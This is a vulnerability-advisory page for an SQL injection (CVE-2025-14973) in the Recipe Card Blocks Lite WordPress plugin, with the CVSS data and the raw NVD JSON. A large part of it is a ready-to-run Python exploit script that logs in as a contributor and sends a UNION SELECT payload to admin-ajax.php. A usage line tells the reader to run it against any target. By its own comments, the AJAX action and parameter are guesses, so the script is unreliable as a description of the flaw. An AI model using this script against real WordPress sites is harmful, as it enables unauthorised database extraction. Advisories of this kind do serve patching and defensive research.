Security Vulnerability Report
中文
CVE-2025-14973 CVSS 6.8 MEDIUM

CVE-2025-14973

Published: 2026-01-26 07:16:07
Last Modified: 2026-04-15 00:35:42

Description

The Recipe Card Blocks Lite WordPress plugin before 3.4.13 does not sanitize and escape a parameter before using it in a SQL statement, allowing contributors and above to perform SQL injection attacks.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Recipe Card Blocks Lite WordPress Plugin < 3.4.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14973 SQL Injection PoC # Target: WordPress with Recipe Card Blocks Lite < 3.4.13 def exploit_sqli(target_url, wp_user, wp_password): """ SQL Injection exploit for CVE-2025-14973 Requires Contributor+ privileges """ # Login to WordPress login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': wp_user, 'pwd': wp_password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # SQL Injection payload - extract database version # The vulnerable parameter should be identified in plugin's AJAX handler sqli_payload = "' UNION SELECT 1,2,3,@@version,5,6,7,8,9,10--" # Target the vulnerable AJAX endpoint vuln_url = f"{target_url}/wp-admin/admin-ajax.php" # This is a template - actual exploitation requires identifying # the exact vulnerable parameter in the plugin exploit_data = { 'action': 'recipe_card_blocks_get_recipes', 'recipe_id': sqli_payload # Vulnerable parameter } print(f"[*] Sending exploit payload to {vuln_url}") resp = session.post(vuln_url, data=exploit_data) if resp.status_code == 200: print("[+] Exploit sent - check response for database data") print(resp.text[:500]) return True if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print("Example: python exploit.py http://target.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_sqli(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14973", "sourceIdentifier": "[email protected]", "published": "2026-01-26T07:16:06.673", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Recipe Card Blocks Lite WordPress plugin before 3.4.13 does not sanitize and escape a parameter before using it in a SQL statement, allowing contributors and above to perform SQL injection attacks."}, {"lang": "es", "value": "El plugin de WordPress Recipe Card Blocks Lite anterior a 3.4.13 no sanitiza ni escapa un parámetro antes de usarlo en una declaración SQL, lo que permite a los colaboradores y superiores realizar ataques de inyección SQL."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://wpscan.com/vulnerability/76f7d5d4-ba45-4bfd-bda9-ab0769e81107/", "source": "[email protected]"}]}}